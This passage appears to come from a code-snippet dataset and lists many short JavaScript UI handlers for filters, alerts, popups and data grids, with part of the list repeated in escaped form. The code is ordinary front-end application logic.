document.getElementById(\"radioHeatmapRSS-mode\").classList.add('quickaction-selected');\n }\n }","constructor() {\n riot.observable(this);\n this.listenToSelectedUpdate();\n }","function showSLASummary() {\n\tvar grid = View.panels.get('slaList');\n\tView.controllers.get(0).trigger('app:operation:express:sla:showSLASummaryPopUp',\n\t\t\tgrid.rows[grid.selectedRowIndex].row);\n}","function filterTypeSelection(e){\n if(e.target.value === ''){\n getInventory()\n } else {\n axios.get(`/inventory/search/dept?dept=${e.target.value}`)\n .then(res => setItems(res.data))\n .catch(err => alert(err))\n }\n }","function onShowDetail(element) {\r\n try {\r\n var dataId = jQuery(element).attr('data-id');\r\n\r\n g_currentOperation = dataId;\r\n\r\n if (!dataId || dataId.length <= 0) {\r\n dataId = WotpUtilityCommon.CurrentOperations.None;\r\n }\r\n\r\n //passing the filter info to load detail data\r\n loadDataDetail(dataId);\r\n\r\n } catch (e) {\r\n nlapiLogExecution('ERROR', 'Error during main onShowDetail', e.toString());\r\n }\r\n}","function createAlert() {\n\tvar local_current_hash = 0;\n\n\tif ((local_current_hash = save_search()) != false) {\n\t\t// activation de l'alerte\n\t\tswitch_alert_from_search('', local_current_hash);\n\t\t$('#popupCreateAlert').popup('open');\n\t}\n\telse {\n\t\t$('#popupAlreadyExistsAlert').popup('open');\n\t}\n}","function filterData(data) {\n var regionFilter = typeof(ClientContext)==='object' ? ClientContext.get('profile/region') : ALL_REGIONS;\n var soaIDFilter = typeof(ClientContext)==='object' ? ClientContext.get('/profile/soaId') : ALL_SOAID;\n var pageFilter = alertSelf.attr('data-alert-filter');\n\n var jsonObj = {};\n jsonObj['alerts'] = [];\n\n for (var i=0; i< data.alerts.length; i++) {\n var alertMsg = data.alerts[i];\n\n if ((isInRegion(alertMsg, regionFilter)|| isInSoiID(alertMsg, soaIDFilter))\n && isOnPage(alertMsg, pageFilter)\n && isOnTime(alertMsg))\n {\n jsonObj['alerts'].push({'message' : cleanUpRTEHtmlMarkup(alertMsg.message),\n 'backgroundColor' : alertMsg.backgroundColor,\n 'textColor' : alertMsg.textColor});\n }\n }\n\n return jsonObj;\n }","function refreshProductsView() {\n let filteredProducts = filterByCountryName(products, countrySelect.value);\n filteredProducts = filterByName(filteredProducts, searchInput.value);\n filteredProducts = sortList(filteredProducts, sortSelect.value);\n filteredProducts = filterByRangeOfPrice(filteredProducts, priceRange.value);\n console.log(filterByRangeOfPrice(filteredProducts, priceRange.value));\n\n renderProducts(filteredProducts);\n}","function _eventTableAllNotificationClicked(e)\n{\n\ttry\n\t{\n\t\tif (Alloy.Globals.currentWindow == \"winMyServices\" && (Alloy.Globals.currentWindow != null || Alloy.Globals.currentWindow != undefined))\n\t\t\tAlloy.Globals.arrWindows[Alloy.Globals.arrWindows.length - 1].close();\n\t\t\t\n\t\tvar nTypeId = e.row.nTypeId;\n\t\tif (nTypeId==\"5\"){\n\t\t\tTi.API.info('ASSOCIATED MESSAGE ROW: '+e.row.nTypeIdVal);\n\t\t\t\n\t\t\t/*var userid = Ti.App.Properties.getObject(\"LoginDetaisObj\");\n\t\t\t\tuserid = (Ti.App.Properties.getObject(\"LoginDetaisObj\") == null ? 0 : Ti.App.Properties.getObject(\"LoginDetaisObj\").userName);*/\n\t\t\t\t\n\t\t\thttpManager.markNotificationMessageAsRead(function(response){\n\t\t\t\t\tif (response=='1')\n\t\t\t\t\t\t$.tableviewAllNotifications.deleteRow(e.index);\n\t\t\t\t\tvar data = {\"response\":\"\", \n\t\t\t\t\t\t\t\t\"idToExpand\":e.row.nTypeIdVal, \n\t\t\t\t\t\t\t\t\"isNoRecord\":\"\" , \n\t\t\t\t\t\t\t\turl : \"\"};\n\t\t\t\t\tAlloy.Globals.openWindow(Alloy.createController(\"Services/MyServices/winMyServices\", data).getView());\n\t\t\t\t},e.row.messageId, (Ti.App.Properties.getObject(\"LoginDetaisObj\") == null ? 0 : Ti.App.Properties.getObject(\"LoginDetaisObj\").userName));\n\t\t}else{\n\t\t\tTi.API.info('WHY OTHER RECORDS CAME HERE... ONLY eSERVICES NOTIFICATION COMES HERE');\n\t\t\treturn;\n\t\t}\n\t\tsetTimeout(function(){$.viewNotificationMain.animate({opacity : 0,duration : 300}, function(e) {$.viewNotificationMain.visible = false;});},500);\n\t}\n\tcatch(e){Ti.API.info(' ############# ERROR IN eSERVICES TABLE NOTIFICATION CLICK ############## '+JSON.stringify(e));}\n}","onGetAll() {\n console.log('getAll action triggered')\n }","componentDidLoad() {\n this.getRenderedTabItems().filter(item => {\n if (item['active']) {\n this.dtmTabTitle = item['tabTitle'];\n this.emitAnalyticsData();\n }\n });\n }","_refresh() {\r\n\t\tthis._lastUpdateCount = this._alertModel.getUpdateCount();\r\n\r\n\t\tthis._div.innerHTML = \"\";\r\n\t\tconst alerts = this._alertModel.getCurrentAlerts();\r\n\t\tfor(let i = 0; i < alerts.length; ++i) {\r\n\t\t\tthis._addAlert(alerts[i]);\r\n\t\t}\r\n\t}","openOnwerFilter(){\n\n var selected = this.template.querySelector(\".selected-owner\");\n var optionsContainer = this.template.querySelector(\".options-container-owner\");\n var optionsList =this.template.querySelectorAll(\".option-owner\");\n selected.addEventListener(\"click\", () => {\n optionsContainer.classList.toggle(\"active\");\n }); \n //selected.addEventListener(\"click\", () => {\n //});\n\n /* optionsList.forEach(o => {\n o.addEventListener(\"click\", () => {\n selected.innerHTML = o.querySelector(\"label\").innerHTML;\n optionsContainer.classList.remove(\"active\");\n });\n });\n */\n }","_handleClick()\n {\n Radio.channel('rodan').trigger(RODAN_EVENTS.EVENT__RESOURCELIST_SELECTED, {resourcelist: this.model});\n }","setAlertCloseToday(){\n \n \n var aujourdhuiplus3 = this.todayplus3days.toLocaleDateString();\n\n this.eventsCloseOftheday =[]; // vide le tableau des alertesCloseToday avant chaque set\n \n for(var eventac of this.events){ // pour chaque date de debut d'event = a la date d'aujourdhuiplus3 jours\n if( eventac.datestartevent == aujourdhuiplus3 ){\n this.addAlertCloseToday(eventac);\n \n }\n \n }\n \n }","function onChangeGoodList(){\n\t\t\t\n\t\t\tif ($(\"#goodsListPopupGrid\").data(\"kendoGrid\").select().length > 0){\n\t\t\t\tvar tr = $(\"#goodsListPopupGrid\").data(\"kendoGrid\").select().closest(\"tr\");\n \t\t\tvar dataItem = $(\"#goodsListPopupGrid\").data(\"kendoGrid\").dataItem(tr);\n \t\t\t\n \t\t\tvm.orderGoodsDetailSearch = dataItem;\n \t\t\t$(\"#goodsCodeAndNameCreExtNote\").text(vm.orderGoodsDetailSearch.goodsCode+\" \"+vm.orderGoodsDetailSearch.goodsName);\n\t\t\t\t\n \t\t\tvar grid = $(\"#goodsDetailGrid\").data(\"kendoGrid\");\t\n \t\t\tif(grid){\n \t\t\t\tgrid.dataSource.query({\n \t\t\t\t\tpage: 1,\n \t\t\t\t\tpageSize: 10\n \t\t\t\t});\n \t\t\t} else {\n \t\t\tfillDataTableGoodsDetailPopUp([]);\n \t\t\t}\n \t\t\t\n \t\t\tconsole.log(vm.orderGoodsDetailSearch.goodsName);\n\t\t\t}\n\t\t\t\n\t\t}","handleSelection(event) {\n this.pollEverySec(this.interval);\n const eventData = event.detail;\n const fields = {\n Name: eventData.name,\n EventType: eventData.type,\n PrimaryPersonId: this.contactId,\n EventDate: new Date().toISOString()\n };\n this.showNewLifeEventPage(fields, \"new\");\n }","function load() {\n if(vm.document._id !== -1) {\n backendService.getDocumentById(vm.document._id).success(function(data) {\n\n // got the data - preset the selection\n vm.document.title = data.title;\n vm.document.fileName = data.fileName;\n vm.document.amount = data.amount;\n vm.document.senders = data.senders;\n vm.document.tags = data.tags;\n vm.document.modified = data.modified;\n vm.document.created = data.created;\n\n vm.selectedSenders = data.senders;\n vm.selectedTags = data.tags;\n\n })\n .error( function(data, status, headers) {\n\n if(status === 403) {\n $rootScope.$emit('::authError::');\n return;\n }\n\n alert('Error: ' + data + '\\nHTTP-Status: ' + status);\n return $location.path('/');\n\n\n });\n } else {\n vm.selectedSenders = [];\n vm.selectedTags = [];\n }\n\n }","initExtras() {\n this._extraService.getExtra().subscribe(response => {\n this.extras = response.extra;\n if (response.extra.length <= 0) {\n this.fatalError = true;\n this.loading = false;\n this.launchAlert('info', 'Sin Datos de RMUV', 'Al parecer no existen datos de la Remuneracion Unificada Vigente, por favor, Ingresarlos antes de continuar', 'Ingresar Ahora!!', true, null, null, null, null, null);\n // alert('no existen los datos de RMUV... por favor ingresarlos antes de continuar con los registros de consumo');\n }\n else if (response.extra.length >= 1) {\n this.fatalError = false;\n this.loading = false;\n }\n }, error => {\n this.loading = false;\n console.log(error);\n this.errorCatched.description = error.toString();\n this.errorCatched.table = 'Extra';\n this.errorCatched.action = 'getExtras';\n this.errorCatched.title = 'Error en la Obtencion de Los datos Extras';\n this.errorCatched.zone = 'addRegister';\n this.errorCatched.code = this.errorCatched.zone + '-' + this.errorCatched.action + '-' + this.errorCatched.table;\n this.errorCatcherService.saveError(this.errorCatched).subscribe(response => {\n this.launchAlert('error', 'Error en la Carga', 'Se ha producido un error a la hora de cargar los datos de la RMUV' + response.Message, 'Ir a la Ventana de Errores de Sistema? ', true, null, null, null, null, null);\n });\n });\n }","function initEventListener() {\n $scope.$on(vm.controllerId + '.data.filter', function (e, v) {\n vm.data.searchString = v;\n });\n $scope.$on(vm.controllerId + '.action.refresh', function (event, data) {\n getPage(_tableState);\n });\n $scope.$on(vm.controllerId + '.action.reload', function (e, v) {\n reload();\n });\n $scope.$on(vm.controllerId + '.action.F2', function (e, v) {\n console.log(checkQuyenUI('N'));\n if (checkQuyenUI('N')) {\n window.location.href = linkUrl + 'create';\n }\n });\n }","handlesClick(){\n \n const selectedFieldsValueParam = this.selectedFieldsValue;\n const showComp = this.showScreen;\n this.hideObjectScreen=false;\n const isHideObjectScreen= this.hideObjectScreen;\n \n //console.log('Hi' +showComp);\n // console.log('selectedFieldsValueParam=='+this.selectedFieldsValue);\n // console.log('selectedFieldsValueParam= '+selectedFieldsValueParam);\n\n //show error if no rows have been selected\n if(selectedFieldsValueParam ===null || selectedFieldsValueParam===''){\n const evt = new ShowToastEvent({\n title: this._title,\n message: this.message,\n variant: this.variant,\n });\n this.dispatchEvent(evt);\n }\n else {\n //propage event to next component\n const evtCustomEvent = new CustomEvent('retreive', {\n detail: { selectedFieldsValueParam,showComp,isHideObjectScreen}\n });\n this.dispatchEvent(evtCustomEvent);\n }\n }","onTriggerClick() {\n const me = this;\n\n if (me.pickerVisible) {\n me.hidePicker();\n } else {\n if (!me.readOnly && !me.disabled) {\n switch (me.triggerAction) {\n case this.constructor.queryAll:\n me.doFilter(null);\n break;\n\n case comboQueryLast:\n me.doFilter(me.lastQuery);\n break;\n\n default:\n me.doFilter(me.input.value);\n }\n }\n }\n }","click(){\r\n if ( !this.isDisabled && !this.readnly ){\r\n this.getRef('input').focus();\r\n if ( this.filteredData.length ){\r\n this.isOpened = !this.isOpened;\r\n }\r\n }\r\n }","function filterHandler() {\n\n // Available checkbox\n $('#Check0').change(function(){\n filter.available = this.checked;\n genericLoad();\n })\n\n // price range filter\n $('#confirm-filter').click(function() {\n var min = $('#min-filter').val();\n var max = $('#max-filter').val();\n\n if(($.isNumeric(min) || $.isNumeric(max)) && (min >= 0 && max >= 0)) {\n filter.minPrice = $.isNumeric(min)? min : filter.minPrice;\n filter.maxPrice = $.isNumeric(max)? max : filter.maxPrice;\n genericLoad();\n }\n else \n showNotificationBar(\"Per favore, inserisci dei valori positivi\");\n });\n\n // reset button\n $('#reset-filter').click(function() {\n\n filter.minPrice = 0;\n filter.maxPrice = Number.MAX_VALUE;\n genericLoad();\n\n });\n\n // review filter\n $(\"input[name='filter']\").change(function() {\n\n filter.starRating = $(this).val();\n genericLoad();\n\n });\n\n}","function onSelect(event) {\r\n refresh(JSON.parse(event.data));\r\n}","function filterListener(){\n $(\"#colorFilter\").change(function(){\n populateBikeList();\n });\n $(\"#statusFilter\").change(function(){\n populateBikeList();\n });\n }","function bindExistingAlerts() {\n\t\t\tvar allAlertsCloseBtns$ = jContainer.find(\".container-ASWidgetAlert .close\");\n\t\t\tallAlertsCloseBtns$.unbind(\"click\").on(\"click\", function(event) {\n\t\t\t\t$(event.currentTarget).parents(\".container-ASWidgetAlert\").first().remove();\n\t\t\t\treturn false;\n\t\t\t});\n\t\t}","function makeAlerts(){\n// put event listener for each selected tag\n var myp = document.querySelectorAll(\"#a2 p\");\n for(var i=0; i < myp.length; i++){//loop for the length of the myp array\n myp[i].addEventListener(\"click\",showNewAlert);//add a listener for every object in the arry\n }\n}","function onReportDiagnosticPopupSeeAllBtnClick() {\r\n seeAllClicked = true;\r\n tau.closePopup();\r\n }","function alerts (io) {\n\tio.of('/alert').on('connection', (USA) => {\n\t\tconsole.log(`United States ready to recieve alerts at ${USA.id}`);\n\n\t\talertEvent.on('alert', () => {\n\t\t\tfor (const msg of usaAlerts) {\n\t\t\t\tUSA.emit('alert', msg);\n\t\t\t}\n\t\t\tusaAlerts = [];\n\t\t});\n\n\t\tUSA.on('disconnect', () => console.log(`USA disconnected ${USA.id}`));\n\t});\n}","constructor() {\n this.display = document.getElementById('displayRow'); //getting the tbody of our table\n this.notify = document.getElementById('notification'); //getting the div tag above table to show alerts\n }","function callOnholdRes(d,s) {\n d = d.data;\n $(\"#onhold-open-popup .onholdres\").html(d.content_detail);\n $('#onhold-open-popup').modal('show');\n $('#onhold-open-popup button.btn').addClass('inactive');\n setTimeout(function() {\n modifyDropDown({selectorClass:'#onhold-open-popup .onholdres #onholdsection',searchAny:true,placeholder:'Search Reason'});\n },0);\n hideFullLoader('content_loader');\n //Added dropDown on change event\n $('#onhold-open-popup #onholdsection').on('change', function(){\n if($(this).children('option:selected').val() === 'Please select a reason:'){\n $('#onhold-open-popup button.btn').addClass('inactive');\n } else {\n $('#onhold-open-popup button.btn').removeClass('inactive');\n }\n });\n }","handleLookupSelect(event) { \n this.selectedName = event.detail.Family; \n this.showoptions=false;\n \n }","function handleSupp(ev) {\n console.log(contacts.filter((_) => _.id !== ev.detail.id ));\n setContacts(contacts.filter((_) => _.id !== ev.detail.id ));\n }","function loadOffers() { // ohne alerts funktionierts nicht =( ... wieso??\n\t// reset selectedID (account could have been deleted in meantime)\n\t// selectedOffer = null;\n\tconnect(\"/hiwi/Provider/js/loadOffers\", \"\", handleLoadOffersResponse);\n}","ngOnInit() {\r\n //this._auctionListService.getAuctionItems().subscribe(\r\n //data => this.auctionItems = data FOR FILTERING \r\n //)\r\n this.getAuctionItems();\r\n }","function loadSuccess(ev) {\n if (ev) {\n removeAllEventsFromDisplay();\n cosmo.view.cal.itemRegistry = ev;\n }\n cosmo.view.cal.itemRegistry.each(appendLozenge);\n // Update the view\n updateEventsDisplay();\n }","function getCategory(e) {\n filter(e.target.value); //filter function send which button we click\n if(e.target.value == \"all\"){\n bringFoods(); // bringFoods run when we click \"all button\" & form loaded\n }\n\n}","function showEnsFilters() {\t\r\n\r\n}","function buttonClick(){\n // Prevent the page from refreshing\n d3.event.preventDefault();\n // Create & display new table with filtered/searched data\n var filtered_table = tableData.filter(ufo_sighting => ufo_sighting.datetime===dateInputText.property(\"value\"))\n displayData(filtered_table);\n}","function showGrowerList(e) {\n viewModel.set(\"selectedUserId\", e.view.params.userId);\n initList();\n }","onTriggerClick() {\n const me = this;\n\n if (me.pickerVisible) {\n me.hidePicker();\n } else {\n if (!me.readOnly && !me.disabled) {\n switch (me.triggerAction) {\n case comboQueryAll:\n me.doFilter(null);\n break;\n case comboQueryLast:\n me.doFilter(me.lastQuery);\n break;\n default:\n me.doFilter(me.input.value);\n }\n }\n }\n }","function alerts() {\n $(\"span.top-label.label.label-warning\").text(todoItemsData.length);\n $('.dropdown-alerts').empty();\n $.each(todoItemsData, (idx, item) => {\n let i = $('');\n let span = $('').text( daysLeft(item.date) + ' days left');\n let div = $('').append(i).append(item.title).append(span);\n let a = $('')\n .click( () => {\n $('.card[data-todoid=\"' + item.item_id + '\"] .edit-btn').click();\n })\n .append(div);\n let li = $('').append(a);\n let divider = $('');\n $(\"ul.dropdown-menu.dropdown-alerts\").append(li).append(divider);\n });\n}","function setFilterDisplayObj() {\n var postArray = ['categoryFilter', 'statusFilter', 'substatusFilter', 'typeFilter', 'subTypeFilter', 'venueFilter', 'lawtypeFilter'];\n var valKey = ['category', 'statuses', 'substatus', 'type', 'subtypes', 'venues', 'law-types'];\n var filterObj = {};\n _.each(postArray, function (val, index) {\n //get array of current valkey item from masterlist\n if (val == 'substatusFilter') {\n var array = extractSubStatus();\n } else if (val == 'subTypeFilter') {\n var array = extractSubTypes();\n } else {\n var array = angular.copy(self.viewModel.masterList[valKey[index]]);\n }\n\n var appliedFilters = [];\n //iterate over current selected filters\n\n var filterString = self.viewModel.filters[val].toString();\n _.forEach(filterString.split(','), function (id) {\n if (utils.isEmptyString(id)) { return; } //if filter id is all/stalled push as is\n if (id === \"all\") {\n appliedFilters.push(id);\n } else if (id === \"stalled\") {\n appliedFilters.push('');\n } else {\n // find object from array having the current id\n var appliedFilter = _.find(array, function (item) {\n return item.id === id;\n });\n\n if (utils.isEmptyVal(appliedFilter.name)) {\n appliedFilter.name = \"{Blank}\";\n }\n appliedFilters.push(appliedFilter.name);\n }\n });\n //set the filter obj\n // filterObj ={name:
Please click Ok to go to see the complete list (All).',\\n title: 'Alert',\\n callback: function () {\\n var AllEle = $(\\\"#menu_wraper\\\").find('.item-list-detail:contains(\\\"All\\\"):first');\\n AllEle.trigger('click');\\n }\\n });\\n }\",\n \"function showStatus() {\\n\\n if ((reporteSeleccionado == 13) || (reporteSeleccionado == 14)) {\\n\\n if (banderas.banderaTodoSeleccionado == 0) {\\n if (Calles.length == 0) {\\n ngNotify.set('Seleccione al menos una calle', { type: 'error' });\\n }\\n else {\\n modalStatus();\\n }\\n }\\n else if (banderas.banderaTodoSeleccionado == 1) {\\n modalStatus();\\n }\\n }\\n }\",\n \"function filterResult() {\\n\\t//Add one event listener to the button group and then define what button was clicked depends on the event.target.id\\n\\t$('.btn-group').on('click', \\t\\t\\t\\t\\t\\t\\n\\tfunction(event){\\n\\t\\tif (event.target.id === \\\"all\\\") {\\n\\t\\t\\t$(\\\".offline\\\").show(\\\"slow\\\");\\n\\t\\t\\t$(\\\".not-exist\\\").show(\\\"slow\\\");\\n\\t\\t\\t$(\\\".online\\\").show(\\\"slow\\\");\\n\\t\\t\\t\\n\\t\\t}\\n\\t\\telse if (event.target.id === \\\"online\\\") {\\n\\t\\t\\t$(\\\".offline\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".not-exist\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".online\\\").show(\\\"slow\\\");\\n\\t\\t\\t\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\t$(\\\".not-exist\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".online\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".offline\\\").show(\\\"slow\\\");\\n\\t\\t}\\n\\t});\\t\\n}\",\n \"function initAlerts($nyplAlerts, $rootScope, nyplAlertsService) {\\n $nyplAlerts.getGlobalAlerts().then(function (data) {\\n var alerts = $rootScope.alerts || data;\\n $rootScope.alerts =\\n nyplAlertsService.filterAlerts(alerts, {current: true});\\n $nyplAlerts.alerts = $rootScope.alerts || data;\\n }).catch(function (error) {\\n throw error;\\n });\\n }\",\n \"function viewFilters() {\\n let text = '';\\n filterArray.forEach(item => (text = text + '\\\\n\\\\t' + item));\\n let statusText = disabled ? 'disabled' : 'enabled';\\n alert('Installed Filters (currently' + statusText + '):' + text);\\n}\",\n \"function initFirstFilter(){\\n var firstFilterWrap = getComponent('first-filter');\\n var filterArrays = firstFilterWrap.getElementsByTagName('li');\\n\\n [].forEach.call(filterArrays,function (item) {\\n item.addEventListener('click',selected)\\n })\\n\\n function selected(e){\\n if(this.firstElementChild.classList.contains('selected')){\\n return;\\n }\\n removeSelected();\\n console.log(e);\\n this.firstElementChild.classList.add('selected');\\n if(this.innerText === 'All'){\\n window.firstFilterStatus = 0;\\n }else if(this.innerText === 'Active'){\\n window.firstFilterStatus = 1;\\n }else{\\n window.firstFilterStatus = 2;\\n }\\n update();\\n }\\n\\n function removeSelected(){\\n [].forEach.call(filterArrays,function (item) {\\n if(item.firstElementChild.classList.contains('selected')){\\n item.firstElementChild.classList.remove('selected');\\n }\\n })\\n }\\n}\",\n \"function bindSelect() {\\n initializeTimeFunction();\\n extent = brush.extent(); //data of selection\\n userTimeData = [];\\n\\n extent.forEach(function (element) {\\n var t = String(element.getTime() / 1000 * 1000);\\n userTimeData.push(t);\\n });\\n\\n if ($scope.fingerPrintsMode) {\\n clearFingerprintHeatmap();\\n $scope.showFingerprintHeatmap();\\n document.getElementById(\\\"fingerPrints-mode\\\").classList.add('quickaction-selected');\\n }\\n\\n if ($scope.radioHeatmapRSSMode) {\\n clearFingerprintCoverage();\\n $scope.showFingerprintCoverage();\\n $scope.radioHeatmapRSSMode = true;\\n if (typeof (Storage) !== \\\"undefined\\\" && localStorage) {\\n localStorage.setItem('radioHeatmapRSSMode', 'YES');\\n }\\n $scope.anyService.radioHeatmapRSSMode = true;\\n document.getElementById(\\\"radioHeatmapRSS-mode\\\").classList.add('quickaction-selected');\\n }\\n }\",\n \"constructor() {\\n riot.observable(this);\\n this.listenToSelectedUpdate();\\n }\",\n \"function showSLASummary() {\\n\\tvar grid = View.panels.get('slaList');\\n\\tView.controllers.get(0).trigger('app:operation:express:sla:showSLASummaryPopUp',\\n\\t\\t\\tgrid.rows[grid.selectedRowIndex].row);\\n}\",\n \"function filterTypeSelection(e){\\n if(e.target.value === ''){\\n getInventory()\\n } else {\\n axios.get(`/inventory/search/dept?dept=${e.target.value}`)\\n .then(res => setItems(res.data))\\n .catch(err => alert(err))\\n }\\n }\",\n \"function onShowDetail(element) {\\r\\n try {\\r\\n var dataId = jQuery(element).attr('data-id');\\r\\n\\r\\n g_currentOperation = dataId;\\r\\n\\r\\n if (!dataId || dataId.length <= 0) {\\r\\n dataId = WotpUtilityCommon.CurrentOperations.None;\\r\\n }\\r\\n\\r\\n //passing the filter info to load detail data\\r\\n loadDataDetail(dataId);\\r\\n\\r\\n } catch (e) {\\r\\n nlapiLogExecution('ERROR', 'Error during main onShowDetail', e.toString());\\r\\n }\\r\\n}\",\n \"function createAlert() {\\n\\tvar local_current_hash = 0;\\n\\n\\tif ((local_current_hash = save_search()) != false) {\\n\\t\\t// activation de l'alerte\\n\\t\\tswitch_alert_from_search('', local_current_hash);\\n\\t\\t$('#popupCreateAlert').popup('open');\\n\\t}\\n\\telse {\\n\\t\\t$('#popupAlreadyExistsAlert').popup('open');\\n\\t}\\n}\",\n \"function filterData(data) {\\n var regionFilter = typeof(ClientContext)==='object' ? ClientContext.get('profile/region') : ALL_REGIONS;\\n var soaIDFilter = typeof(ClientContext)==='object' ? ClientContext.get('/profile/soaId') : ALL_SOAID;\\n var pageFilter = alertSelf.attr('data-alert-filter');\\n\\n var jsonObj = {};\\n jsonObj['alerts'] = [];\\n\\n for (var i=0; i< data.alerts.length; i++) {\\n var alertMsg = data.alerts[i];\\n\\n if ((isInRegion(alertMsg, regionFilter)|| isInSoiID(alertMsg, soaIDFilter))\\n && isOnPage(alertMsg, pageFilter)\\n && isOnTime(alertMsg))\\n {\\n jsonObj['alerts'].push({'message' : cleanUpRTEHtmlMarkup(alertMsg.message),\\n 'backgroundColor' : alertMsg.backgroundColor,\\n 'textColor' : alertMsg.textColor});\\n }\\n }\\n\\n return jsonObj;\\n }\",\n \"function refreshProductsView() {\\n let filteredProducts = filterByCountryName(products, countrySelect.value);\\n filteredProducts = filterByName(filteredProducts, searchInput.value);\\n filteredProducts = sortList(filteredProducts, sortSelect.value);\\n filteredProducts = filterByRangeOfPrice(filteredProducts, priceRange.value);\\n console.log(filterByRangeOfPrice(filteredProducts, priceRange.value));\\n\\n renderProducts(filteredProducts);\\n}\",\n \"function _eventTableAllNotificationClicked(e)\\n{\\n\\ttry\\n\\t{\\n\\t\\tif (Alloy.Globals.currentWindow == \\\"winMyServices\\\" && (Alloy.Globals.currentWindow != null || Alloy.Globals.currentWindow != undefined))\\n\\t\\t\\tAlloy.Globals.arrWindows[Alloy.Globals.arrWindows.length - 1].close();\\n\\t\\t\\t\\n\\t\\tvar nTypeId = e.row.nTypeId;\\n\\t\\tif (nTypeId==\\\"5\\\"){\\n\\t\\t\\tTi.API.info('ASSOCIATED MESSAGE ROW: '+e.row.nTypeIdVal);\\n\\t\\t\\t\\n\\t\\t\\t/*var userid = Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\");\\n\\t\\t\\t\\tuserid = (Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\") == null ? 0 : Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\").userName);*/\\n\\t\\t\\t\\t\\n\\t\\t\\thttpManager.markNotificationMessageAsRead(function(response){\\n\\t\\t\\t\\t\\tif (response=='1')\\n\\t\\t\\t\\t\\t\\t$.tableviewAllNotifications.deleteRow(e.index);\\n\\t\\t\\t\\t\\tvar data = {\\\"response\\\":\\\"\\\", \\n\\t\\t\\t\\t\\t\\t\\t\\t\\\"idToExpand\\\":e.row.nTypeIdVal, \\n\\t\\t\\t\\t\\t\\t\\t\\t\\\"isNoRecord\\\":\\\"\\\" , \\n\\t\\t\\t\\t\\t\\t\\t\\turl : \\\"\\\"};\\n\\t\\t\\t\\t\\tAlloy.Globals.openWindow(Alloy.createController(\\\"Services/MyServices/winMyServices\\\", data).getView());\\n\\t\\t\\t\\t},e.row.messageId, (Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\") == null ? 0 : Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\").userName));\\n\\t\\t}else{\\n\\t\\t\\tTi.API.info('WHY OTHER RECORDS CAME HERE... ONLY eSERVICES NOTIFICATION COMES HERE');\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\tsetTimeout(function(){$.viewNotificationMain.animate({opacity : 0,duration : 300}, function(e) {$.viewNotificationMain.visible = false;});},500);\\n\\t}\\n\\tcatch(e){Ti.API.info(' ############# ERROR IN eSERVICES TABLE NOTIFICATION CLICK ############## '+JSON.stringify(e));}\\n}\",\n \"onGetAll() {\\n console.log('getAll action triggered')\\n }\",\n \"componentDidLoad() {\\n this.getRenderedTabItems().filter(item => {\\n if (item['active']) {\\n this.dtmTabTitle = item['tabTitle'];\\n this.emitAnalyticsData();\\n }\\n });\\n }\",\n \"_refresh() {\\r\\n\\t\\tthis._lastUpdateCount = this._alertModel.getUpdateCount();\\r\\n\\r\\n\\t\\tthis._div.innerHTML = \\\"\\\";\\r\\n\\t\\tconst alerts = this._alertModel.getCurrentAlerts();\\r\\n\\t\\tfor(let i = 0; i < alerts.length; ++i) {\\r\\n\\t\\t\\tthis._addAlert(alerts[i]);\\r\\n\\t\\t}\\r\\n\\t}\",\n \"openOnwerFilter(){\\n\\n var selected = this.template.querySelector(\\\".selected-owner\\\");\\n var optionsContainer = this.template.querySelector(\\\".options-container-owner\\\");\\n var optionsList =this.template.querySelectorAll(\\\".option-owner\\\");\\n selected.addEventListener(\\\"click\\\", () => {\\n optionsContainer.classList.toggle(\\\"active\\\");\\n }); \\n //selected.addEventListener(\\\"click\\\", () => {\\n //});\\n\\n /* optionsList.forEach(o => {\\n o.addEventListener(\\\"click\\\", () => {\\n selected.innerHTML = o.querySelector(\\\"label\\\").innerHTML;\\n optionsContainer.classList.remove(\\\"active\\\");\\n });\\n });\\n */\\n }\",\n \"_handleClick()\\n {\\n Radio.channel('rodan').trigger(RODAN_EVENTS.EVENT__RESOURCELIST_SELECTED, {resourcelist: this.model});\\n }\",\n \"setAlertCloseToday(){\\n \\n \\n var aujourdhuiplus3 = this.todayplus3days.toLocaleDateString();\\n\\n this.eventsCloseOftheday =[]; // vide le tableau des alertesCloseToday avant chaque set\\n \\n for(var eventac of this.events){ // pour chaque date de debut d'event = a la date d'aujourdhuiplus3 jours\\n if( eventac.datestartevent == aujourdhuiplus3 ){\\n this.addAlertCloseToday(eventac);\\n \\n }\\n \\n }\\n \\n }\",\n \"function onChangeGoodList(){\\n\\t\\t\\t\\n\\t\\t\\tif ($(\\\"#goodsListPopupGrid\\\").data(\\\"kendoGrid\\\").select().length > 0){\\n\\t\\t\\t\\tvar tr = $(\\\"#goodsListPopupGrid\\\").data(\\\"kendoGrid\\\").select().closest(\\\"tr\\\");\\n \\t\\t\\tvar dataItem = $(\\\"#goodsListPopupGrid\\\").data(\\\"kendoGrid\\\").dataItem(tr);\\n \\t\\t\\t\\n \\t\\t\\tvm.orderGoodsDetailSearch = dataItem;\\n \\t\\t\\t$(\\\"#goodsCodeAndNameCreExtNote\\\").text(vm.orderGoodsDetailSearch.goodsCode+\\\" \\\"+vm.orderGoodsDetailSearch.goodsName);\\n\\t\\t\\t\\t\\n \\t\\t\\tvar grid = $(\\\"#goodsDetailGrid\\\").data(\\\"kendoGrid\\\");\\t\\n \\t\\t\\tif(grid){\\n \\t\\t\\t\\tgrid.dataSource.query({\\n \\t\\t\\t\\t\\tpage: 1,\\n \\t\\t\\t\\t\\tpageSize: 10\\n \\t\\t\\t\\t});\\n \\t\\t\\t} else {\\n \\t\\t\\tfillDataTableGoodsDetailPopUp([]);\\n \\t\\t\\t}\\n \\t\\t\\t\\n \\t\\t\\tconsole.log(vm.orderGoodsDetailSearch.goodsName);\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t}\",\n \"handleSelection(event) {\\n this.pollEverySec(this.interval);\\n const eventData = event.detail;\\n const fields = {\\n Name: eventData.name,\\n EventType: eventData.type,\\n PrimaryPersonId: this.contactId,\\n EventDate: new Date().toISOString()\\n };\\n this.showNewLifeEventPage(fields, 